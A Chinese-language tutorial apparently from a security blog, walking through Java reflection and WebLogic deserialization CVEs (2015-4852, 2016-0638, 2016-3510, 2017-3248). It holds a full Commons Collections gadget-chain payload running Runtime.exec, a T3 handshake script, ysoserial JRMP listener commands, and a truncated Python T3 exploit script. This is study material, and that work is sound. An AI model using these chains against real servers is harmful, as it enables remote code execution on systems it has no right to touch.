0%

weblogic反序列化时在干什么?有没有空?可不可以来找链子?

  • JAVA 基础

    学个基础先

    • java 的面向对象编程

      或许可以类比为一个 struct

      我们以一个手机为例,手机作为整体即是一个对象

      1
      public class phone{}

      而手机所具有的特点即是其属性

      1
      2
      3
      4
      public class phone{
      public String name;
      public double weight;
      }

      而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器

      1
      2
      3
      4
      5
      6
      7
      8
      9
      public class phone{
      public String name;
      public double weight;
      public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
      public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
      this.name=name;
      this.weight=weight;
      }
      }

      再随意写入一个函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      package test1;
      public class phone{
      public String name;
      public double weight;
      public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
      public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
      this.name=name;
      this.weight=weight;
      }
      public void start(){
      System.out.println("Power on");
      }
      }

      如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类

      1
      2
      3
      4
      5
      public class test{
      public static void main(String[] args){
      phone p=new phone();//new一个名为p,类型为phone的对象
      }
      }
    • java 反射机制

      • 正射

        通常来说,我们在实例化一个类时,我们需要知道其类型 phone ,才能写出实例化代码

        1
        phone p=phone();
      • 反射

        顾名思义,我们可以借助函数来得到对象 p 的类 phone ,再用函数进一步操作类的私有属性

        • 获取类

          .getclass()

          如果上文中存在所需类的某个实例 p ,那么可以调用 p.getClass() 来获取其的类

          .class

          调用类的 class 属性可获取该类对应的对象,即使用 phone.class

          .forname()

          使用了 class 类中的静态方法

          1
          2
          3
          4
          phone p=new phone();
          Class class1=p.getClass();
          Class class2=phone.class;
          Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名

        • 类的函数

          获取想要操作的类的 Class 对象 class1 后,通过 Class 类的函数可以查看该类的信息并进行操作

          实例化对象 Object 获取

          1
          2
          3
          4
          Object p1=class1.newInstance();
          //或者
          Constuctor cons=class1.getConstructor();
          Object p2=cons.newInstancec();

          两者区别在于,后者可以用来调用含参数的构造器。newInstance 函数需要类中存在无参构造器,当不存在时,只能用后者

          1
          2
          Constructor cons=class1.getConstructor(String.class,double.class);
          Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值

          类的构造器 Constructor 获取

          1
          2
          3
          4
          5
          6
          7
          8
          //获取public构造器
          Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
          //获取全部public构造器
          Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
          //获取public与private类型的构造器
          Constructor cons=class1.getDeclaredConstructor();
          //获取全部构造器
          Constructor[] cons=class1.getDeclaredConstructors();

          获取属性 field

          1
          2
          3
          4
          5
          //同上,获取的是public/全部属性
          Field f=class1.getField("name");
          Field f2=class1.getDeclaredField("name");
          Field[] f3=class1.getFields();
          Field[] f4=class1.geDeclaredFields();

          获取方法 Methods

          1
          2
          3
          //继续同上
          Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
          //剩下的略
      • Runtime

        java 中的一个系统类,通常写作 java.lang.Runtime ,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:

        1
        exec(String cmd); //在单独的进程中执行指定的命令或程序。

        这个明显可以用来命令执行,利用反射弹个 calc

        1
        2
        3
        4
        5
        6
        Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
        Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
        constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
        Method m = p.getMethod("exec", String.class); // 获取exec方法
        Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
        m.invoke(o, "calc"); // 调用exec方法,执行calc命令
    • 基于反射的 invoke 方法

      对于一般的对象 A ,我们常使用 A.getA() 来调用其 getA() 方法

      invoke 采取一种新的调用方式:

      构建一个 Method 对象 methodA ,给其所需要的对象和参数以用其代替你要使用的方法

      也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法

    • 注解与元注解

      注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。

      其可以用于类,方法,字段等元素上,例:

      1
      2
      3
      4
      @Deprecated
      public void oldMethod{
      ...
      }

      标记了一个过时的方法,在接下来的代码中,若有使用 oldMethod 的代码,编译器会给出警告

      1
      2
      3
      4
      @SuppressWarnings("unchecked")
      public void someMethod() {
      ...
      }

      使编译器不给出警告信息

      元注解则是注解的注解,以马上要用到的 @Target 为例,其用于指定注解可以应用的元素类型(方法/类/等)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      @Target(ElementType.METHOD)
      public @interface MyAnnotation{
      //关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
      }
      @Target(ElementType.TYPE)
      public @interface MyClassAnnotation{
      //类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
      }
      @MyClassAnnotation
      public class myclass{
      @MyAnnotation
      public void MyMethod{
      ...
      }
      }
      • 语法糖

        当注解中只有一个成员变量,并且该成员名称为 value 时,可以用 value 语法糖简化注解使用:

        1
        2
        3
        4
        5
        6
        7
        public @interface MyAnnotation{
        string value();
        }
        @MyAnnotation("hello")
        public class MyClass{
        ...
        }

        自定义注解 MyAnnotation 中只有 value 一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将 hello 作为值传给 value 成员变量

        再看一个跟这个题目有关的:

        1
        2
        3
        4
        5
        6
        7
        8
        @Target(ElementType.ANNOTATION_TYPE)
        public @interface Target {
        ElementType[] value() default {};
        }
        @Target({ElementType.TYPE, ElementType.FIELD})
        public @interface MyAnnotation {
        ...
        }

        第一个 Target 规定了第二个 Target 能注解的变量类型,且其存在名为 value 的数组中

        第二段语句 Target 的参数即在 value 中,规定了 MyAnnotation 只能注解 Element.TYPEElement.FIELD

  • CVE-2015-4852 漏洞浅析

    • 环境搭建

      • docker

        笔者使用的是 Ubutun+docker 。在 vulhub/weblogic 下新建一个名为 CVE-2015-4852 的文件夹方便操作,然后写入以下配置文件

        docker-compose.yml

        1
        2
        3
        4
        5
        6
        7
        version: '2'
        services:
        weblogic:
        build: .
        ports:
        - "7001:7001"
        - "8453:8453"

        DockerFile

        1
        2
        3
        4
        5
        6
        7
        8
        from vulhub/weblogic:10.3.6.0-2017

        ENV debugFlag true

        EXPOSE 7001
        EXPOSE 8453

        CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]

        随后更新 docker-compose up -d ,用 docker exec -it [docker_id] bash 进入 docker 目录修改 ~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

        在其前方加入

        1
        2
        debugFlag="true"
        export debugFlag

        随后重启容器,并把容器目录下的 root 复制出来

        1
        docker cp [docker_id]:/root [your_path]

        后传到你的主机上

      • idea

        idea 打开 /root/Oracle/Middleware/wlserver_10.3

        然后去 Project structure-Libraries 添加 /server/modules 文件夹以及 /wlserver_10.3/server/lib/weblogic.jar 以进行反编译

        再去 Project structure-Project jdk 选择刚刚拷出来的 jdk

        然后去右上角 add Configuration 加入 remote 服务器,如果刚刚配置的时候没有改调试端口的话这里是 8453

        最后去 /wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class 的第 129 行下断点,运行 debug

        访问网站 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

        看看是否被断下

    • 利用链分析

      • 前言

        反序列化攻击的实现,往往需要将 payload 构造为多层的 exp 进入服务端的 readobject 函数,其会反序列化恢复构造的 exp 来生成 exp' ,在接下来的流程中存在可以执行 exp' 类的方法,不断处理得到最终的 payload ,最后其进入可执行任意命令的函数

        也就是说,我们需要构造以下:

        1. 朴素的 payload ,即需要服务器执行的代码
        2. 一条反序列化链,沿着这条链可以逐渐解码包裹起来的 payload
        3. readObject 重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
      • 反序列化链构造

        将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。

        • 段 $1$

          我们最终的目的是命令执行,即调用 exec() 函数

          这里主要使用的是 InvokerTransformer 类及其 transform 方法

          注意到 transform 方法会用反射机制调用输入的 inputmethod 函数,而 Invokertransform 类的三个参数全部可由输入控制

          所以只要控制 transform 方法的 input 变量是一个 RuntimeClass 实例,就可以成功调用即执行了 Runtime.getRuntime().exec("calc");

          写一个实验如下:

          1
          2
          3
          4
          5
          6
          7
          8
          import org.apache.commons.collections4.functors.InvokerTransformer;

          public class InvokerTransformerTest{
          public static void main(String[] args){
          InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
          InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
          }
          }

          对于新学 java 的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用 extentsion pack for java ,然后在 JAVA PROJECT 下面的 Referenced Libraries 添加下载的库。注意引入库的版本要和下载的对应

          但不幸的是,CC 里面并不能直接使用 InvokerTransformer.transform ,也就是说得不到 RunTime 类,那么现在需要找到利用链的上一级,其需要调用该方法

          这里就需要 ChainedTransformer

          CC4 (上) 可能和网上常见的 CC3 (下) 不太一样,但理解成正常 for 循环和用 auto 的循环就行

          这个类以一个 Transformer 数组为变量,其 transform 方法是对每个 Transformer 调用其自己的 transform 方法

          但注意最开始传入的参数 object 会被其迭代,这对链的构造十分有利

          现在我们解决的 transform 方法的问题,getRunTime 可以由 RunTime 类获取。回顾我们需要构造的链 Runtime.getRuntime().exec("calc"); 。只要获取到 RunTime 类就可以完成段 $1$ 的构造

          但是 RunTime 对象不能像普通对象一样直接声明,那么就需要性质很好的 ConstantTransformer

          transform 方法返回值都是 iConstant

          那么只要让一个 RunTime 类为 iConstant 即可得到 RunTime 类,再结合刚刚的 ChainedTransformer 就可以获取到链的第一截 RunTime ,然后去 InvokerTransformertransform 方法调用 getMethod() 得到第二截 getRunTime() ,最后再用其调用 exec() 即能得到整条链

          由于 ChainedTransformer 参数 object 的优秀迭代机制,只需要让另外几个以此放在 Transform[] 类数组里面即可

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          import org.apache.commons.collections4.functors.ChainedTransformer;
          import org.apache.commons.collections4.functors.ConstantTransformer;
          import org.apache.commons.collections4.functors.InvokerTransformer;
          import org.apache.commons.collections4.Transformer;

          public class test_part1 {
          public static void main(String[] args) throws Exception {
          Transformer[] transformers_exec=new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
          new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
          new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
          };

          Transformer chain=new ChainedTransformer(transformers_exec);
          chain.transform(1);
          }
          }

          如此就成功构造出了链的第一部分 Runtime.getRuntime.exec("calc")

          回顾一下调用栈

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          ChainedTransformer.transform()
          ConstantTransformer.transform()
          InvokerTransformer.transform()
          Method.invoke()
          Class.getMethod()
          InvokerTransformer.transform()
          Method.invoke()
          Runtime.getRuntime()
          InvokerTransformer.transform()
          Method.invoke()
          Runtime.exec()

          那么我们现在只需要找到一处调用了 ConstantTransformer.transform 的地方即可。由于其所需参数任意,所以这里分为第一段

        • 段 $2$

          一般来说是找不到严格相同的 ConstantTransformer.transform ,但我们退而求其次,找 xxx.transform 方法,且 xxx 可被赋值为 ConstantTransformer 类型对象

          根据资料,这里有两条路可以走:TransformedMapLazyMap ,但顾名思义,我懒,所以没有 LazyMap 的笔记

          其中这三个函数调用了其 transform 方法,也就是构造 valueTransformerkeyTransformer 为刚刚构造的 ChainedTransformer 类型对象,然后触发这三个函数来触发 trnsform 方法即可。需要分两步:先赋值,再调用

          但实际上只能让 valueTransformer 为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题

          但这几个方法都是 protected ,也就是无法从外部访问。那么考虑找 public 类型入手:

          transformedMap 类型:

          transformingMap 方法则是可以调用构造函数赋值内部参数

          如果是 CC3 版本的话,这里是 decorate 方法

          可以发现构造方法 transformingMap 需要满足的条件是第一个参数是 Map 类型,那么随便建一个 map 就行,如此就赋值成功了

          1
          2
          3
          HashMap tmpMap=new HashMap();
          tmpMap.put("nothinghere","qwq");
          Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer

          中途可以验证一下

          找到一个性质很好的 put 方法,其可以从外部访问且能调用上面三个隐私函数之一的 transformKey

          transformKey 可知,只要参数 KeyTransformer 不为空即可调用 transform 方法,那么随便传几个进去试试:

          1
          ChainMap.put("justfor","test");

          成功调出计算器,也就是赋值操作是没问题的,

          那么接下来考虑如何让系统自动触发 Map 类型中 valueTransformer 参数 transform 方法(即刚刚构造的链条所在位置),即调用 valueTransformer.transform() ,显然这里的参数无关紧要

          所以最后要落脚到一个读入数据后主动触发的类,即 ReadObject

          先搜索找到调用函数 checkSetValue

          点进去看下谁能调用它:

          到其父类 AbstractInputCheckedMapDecorator

          也就是现在需要一个 Map.entry 类且需要调用 Map.entry.setValue() 参数依旧不重要

          还是经典的赋值+调用

          先看赋值,要将原来的 TransformedMap 类转为 Map.Entry

          TransformedMap 也是 MapMap.entry 是一个键对值 <key,value> 的集合

          也就是从 Map 中提取键对值的方法用在 TransformedMap 上,并将其赋值给 Map.entry 即可,顺便手动调用一下 SetValue 方法试一下

          1
          2
          Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
          entry.setValue("qwq");

          在这里分个段清晰一些,回顾一下反序列化链;

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          Map.entry.setValue()
          TransformedMap.put()
          ChainedTransformer.transform()
          ConstantTransformer.transform()
          InvokerTransformer.transform()
          Method.invoke()
          Class.getMethod()
          InvokerTransformer.transform()
          Method.invoke()
          Runtime.getRuntime()
          InvokerTransformer.transform()
          Method.invoke()
          Runtime.exec()
        • 段 $3$

          在开始前,确保版本为 jdk1.6

          因为这里使用 AnnotationInvocationHandler 类来解决调用函数的问题,其在 jdk1.8 被重写了

          它在 JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler

          观察到 var5 存在 setvalue() 方法的调用,恰巧的是,其构造过程与上面的 entry 一模一样:

          1
          2
          Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
          var5=this.memberValue.entrySet().iterator().next();

          那么 payload 转而写成:

          1
          2
          3
          4
          5
          //Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
          Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
          Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
          ctor.setAccessible(true);//取消构造函数修饰符限制
          Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例

          而前面定义的 memberValues 恰好是 map 类型,将其赋值成 transformedMap 即可满足 var5 即是 entry

          但想进到判断里还需要满足几个条件:

          transformedMap 非空:var4.hasNext() 检查了 memberValuesEntrySet 的迭代器

          var7!=null : var7 的生成过程比较复杂,上面已经标出来了

          这里需要注意的是 var2 的生成过程 AnnotationType.getInstance(this.type)this.type 即是上面传进去的 Target.class

          var7 非空是很难构造的。而这个涉及到 java 的注解与 value 语法糖,最上面有写,跳到上面看一下再回来

          1
          var2 = AnnotationType.getInstance(this.type);

          getInstance 得到我们传进去的注解的基本信息,这里就以传进去了 Target.class 为例:

          1
          Map var3 = var2.memberTypes();

          memberType 得到注解中的成员变量,其返回值为 Map 类型,键为成员变量名称,值为成员变量类型

          这个时候选择传入 this.typeTarget.class 的原因就能看出来了:看 java.lang.annotation.Target 的定义:

          1
          2
          3
          4
          5
          6
          @Documented//会被写入javadoc文档
          @Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
          @Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
          public @interface Target {
          ElementType[] value();//value语法糖
          }

          也就是说,对于 Target 注解,其成员变量名称总为 value

          那么 var3 即为键值对 <value,[ElementType]>

          1
          Class var7 = (Class)var3.get(var6);

          这时候再来看 var7 的生成式,只需要满足 var6 中有 Map 的键为 value ,值任意即可

          var6 的来源回溯上去,即是让 tmpmap 中存有键为 value 即可

          就是将

          1
          2
          HashMap tmpMap=new HashMap();
          tmpMap.put("nothinghere","qwq");

          改为

          1
          2
          HashMap tmpMap=new HashMap();
          tmpMap.put("value","qwq");

          至此利用链完毕,回顾一下整条链子:

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          AnnotationInvocationHandler.readObject()
          Map.entry.setValue()
          TransformedMap.put()
          ChainedTransformer.transform()
          ConstantTransformer.transform()
          InvokerTransformer.transform()
          Method.invoke()
          Class.getMethod()
          InvokerTransformer.transform()
          Method.invoke()
          Runtime.getRuntime()
          InvokerTransformer.transform()
          Method.invoke()
          Runtime.exec()

          payload

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28
          29
          30
          31
          32
          33
          34
          35
          import org.apache.commons.collections4.*;
          import org.apache.commons.collections4.functors.ChainedTransformer;
          import org.apache.commons.collections4.functors.ConstantTransformer;
          import org.apache.commons.collections4.functors.InvokerTransformer;
          import org.apache.commons.collections4.map.TransformedMap;

          import java.lang.annotation.Target;
          import java.lang.reflect.Constructor;
          import java.util.HashMap;
          import java.util.Map;

          import org.apache.commons.collections4.Transformer;

          public class test_part1 {
          public static void main(String[] args) throws Exception {
          Transformer[] transformers_exec = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
          new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
          new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
          };
          Transformer chain = new ChainedTransformer(transformers_exec);
          // chain.transform(1);
          HashMap tmpMap=new HashMap();
          tmpMap.put("value","qwq");
          Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
          // ChainMap.put("justfor","test");
          // Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
          // entry.setValue("qwq");
          Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
          Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
          ctor.setAccessible(true);
          Object instance = ctor.newInstance(Target.class, ChainMap);
          }
          }
      • 上传

        可以加上这段代码在本地模拟上传试一下:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        //payload序列化写入文件,模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);

        //服务端读取文件,反序列化,模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);

        //服务端反序列化
        fin.readObject();
        • T3协议分析

          python 模拟握手包的发包,wireshark 抓一下,追踪 TCP

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          import socket

          def T3Test(ip,port):
          sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          sock.connect((ip, port))
          handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
          sock.sendall(handshake.encode())
          while True:
          data = sock.recv(1024)
          print(data.decode())

          if __name__ == "__main__":
          ip = "192.168.19.131"
          port = 7001

          T3Test(ip,port)

          再看一下网上的资料,握手包结束后是序列化的 java 数据流

          前面提到过 aced 0005 是序列化的标志,那么为了执行 payload ,抓下协议包,将数据改为构造的 payload 即可

  • CVE-2016-0638 浅析

    • 原理

      在上一个漏洞爆出后, Oracleweblogic 发布了补丁,将以下 $5$ 个函数加入黑名单:

      1
      2
      3
      4
      5
      6
      org.apache.commons.collections.functors*
      com.sun.org.apache.xalan.internal.xsltc.trax*
      javassist*
      org.codehaus.groovy.runtime.ConvertedClosure
      org.codehaus.groovy.runtime.ConversionHandler
      org.codehaus.groovy.runtime.MethodClosure

      并且在 CVE-2015-4852 中三个反序列化的地方进行了黑名单判定:

      1
      2
      3
      weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
      weblogic.rjvm.MsgAbbrevInputStream.class
      weblogic.iiop.Utils.class

      CVE-2015-4852 段 $3$ 用到的 AnnotationInvocationHandler 类通过 InboundMsgAbbrev#readObject 反序列化时会调用到 ServerChannelInputStream#resolveClass ,也就是黑名单的检测所在的位置

      如图,在 wlserver.server.lib.wlthint3client.jar.weblogic.rjvm.inboundMsgAbbrev 中:

      这里的思路是:找到一个类将恶意链包裹起来(二次序列化)以通过黑名单检测,随后再将其解开(黑名单检测后的反序列化),再执行恶意链(该类自己的readobject方法二次反序列化)

      也就是 wlserver.server.lib.wlthint3client.jar.weblogic.jms.common.StreamMessageImpl 类以及其中的 External() 方法

      该方法执行时,反序列化传入的参数并调用参数反序列化后对应类的 readObject 方法

      使用该类的具体原理是:对于原本构造好、需要反序列化来执行的链子,封装进 StreamMessageImpl 并对其序列化。反序列化时该类不在黑名单中所以不被过滤,其调用 readObject 方法时对之前封装的链子再次反序列化

    • 测试

      weblogic_cmd 来测试一下:

      扔到 idea 里面,配置一下:

      应用实参这一行参数可以自己改,-C 后面即是 payload

      由于版本问题,这里用 jdk1.8 启动,需要额外配置两个库的位置:

      直接断点在 StreamMessageImpl.readExternal :

      看眼 var4 显然是反序列化的数据

      继续跟踪 var5readObject 就能回到熟悉的 AnnotationInvocationHandler

  • CVE-2016-3510

    具体原理与上一个一样,只不过这个利用了 weblogic.corba.utils.MarshalledObject 类而非 StreamMessageImpl 来封装链子以绕过黑名单检测

    • 调试

      还是使用刚刚的 weblogic_cmdMain 这里把 Type 改成 marshall

      调试看一下构造过程:

      在这里用熟悉的 CC 链构造 payload ,传给 serialData ,而 blindExecutePayloadTransformerChain 主要是返回利用链的 Transform[] 数组内容,所以跟踪 serialData

      前面还是经典的 Lazy 序列化,重点是断点这一行

      MarshalleObject 看下:

      var3 是一个 newMarshalledObject.MarshalledObjectOutputStream 对象:

      而这个对象继承了 ObjectOutputStream 对象,还调用了父类的构造器 super

      再继续看 MarshalledObject

      var1 是恶意构造的 AnnotationInvocationHandler 对象,将其序列化后写入 ByteArrayOutputStream 对象的 var2 中,又被写给 MarshelledObject 对象的 this.objBytes 中 ,然后对其序列化操作

  • CVE-2017-3248

    随着时间推移, weblogic 系列漏洞似乎正在向底层延伸。快进到发展到二进制层面然后彻底学不会

    • 原理

      不同于上面两种利用其他类恶意链“加壳”的方式绕过黑名单检测,这里找到了一条不在黑名单内的全新反序列化点,利用 JRMP 协议执行反序列化

    • JRMPRMI 简述

      RMI 远程方法调用,可以让在某个 java 虚拟机上的对象像调用本地对象一样调用另一 java 虚拟机上对象

      整个过程简述为:客户对象(client)调用客户端辅助对象(stub)上的方法,辅助对象打包变量与方法名发送给服务端辅助对象(skeleton),解包后找到真正的调用对象(server)并调用,得到返回值并原路返回给客户端对象

      也就是说,对于客户对象 client 来说,其不需知道 server 的存在,就好像是 stub 在本地执行了其所需的方法

      stubskeleton 看作是 RMIRegister ,整个过程中 clinetserver 与之的参数交流是以序列化字节流的格式传输的,为攻击提供了可能

      RMI 依赖于 IP 和端口,以及 JRMP java 远程信息交换协议,其要求客户端与服务端都使用 java 对象

    • 原理2

      利用 RMI 让靶机反序列化 UnicastRef 类,其给恶意服务端发起一个 JRMP 连接,在 DGC 层造成一个反序列化,于是可以绕过黑名单过滤

      正常情况下在 DGC 层,client 调用一个远程对象时需要调用 serverdirty() 函数,此函数给 client 返回一个 lease

      而在攻击情况下,靶机向攻击者架设的 JRMP Server 发起 dirty() 请求,而此时返回的是序列化后的数据,靶机接收后执行反序列化进而触发漏洞

      而构造的数据和前几个没什么区别

    • 工具的原理

      配置参数如下

      • JRMPListener ,即上图中的 JRMP Server

        其负责对发起 DGC 请求的 RMI Register 返回一个恶意对象供其反序列化

        跟进 makePayloadObject

        这里一步步跟过去就会发现用的反序列化链子跟 cve-2015-4852 一模一样

        随后会进入 run() 函数持续监听

        如果接到了类型为 DGC 的请求,则发送 payload

      • JRMPClient ,即上图的 attacker

        负责让靶机向 JRMP Listener 发起 DGC 请求

    • 复现

      照例 docker 启动靶机

      然后用 ysoserial 启动一个 JRMP Listener

      1
      java -cp [path-to-ysoserial] ysoserial.exploit.JRMPListener [JRMP port] CommonsCollections1 '[command]'

      再用 python2 运行一个脚本,其利用 ysoserialJRMP Client 模块生成一个 gadgets 对象,被靶机反序列化后会连接刚架设的 JRMP Listener

      1
      python 1.py [docker-ip] [docker-port] [path-to-ysoserial] [JRMPListener-ip] [JRMPListener-port] JRMPClient

      值得注意的是,两个脚本可以不在同一台机器上运行,但要保证 py 脚本所在虚拟机也有一个 ysoserial 以便生成 payload

      这里省事将两个脚本放在同一目录下方便访问

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      from __future__ import print_function

      import binascii
      import os
      import socket
      import sys
      import time


      def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
      #generates ysoserial payload
      command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
      print("command: " + command)
      os.system(command)
      bin_file = open('payload.out','rb').read()
      return binascii.hexlify(bin_file)


      def t3_handshake(sock, server_addr): #T3协议连接,在2015-4852有写到
      sock.connect(server_addr)
      sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
      time.sleep(1)
      sock.recv(1024)
      print('handshake successful')


      def build_t3_request_object(sock, port):
      data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
      data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
      data3 = '1a7727000d3234322e323134'
      data4 = '2e312e32353461863d1d0000000078'
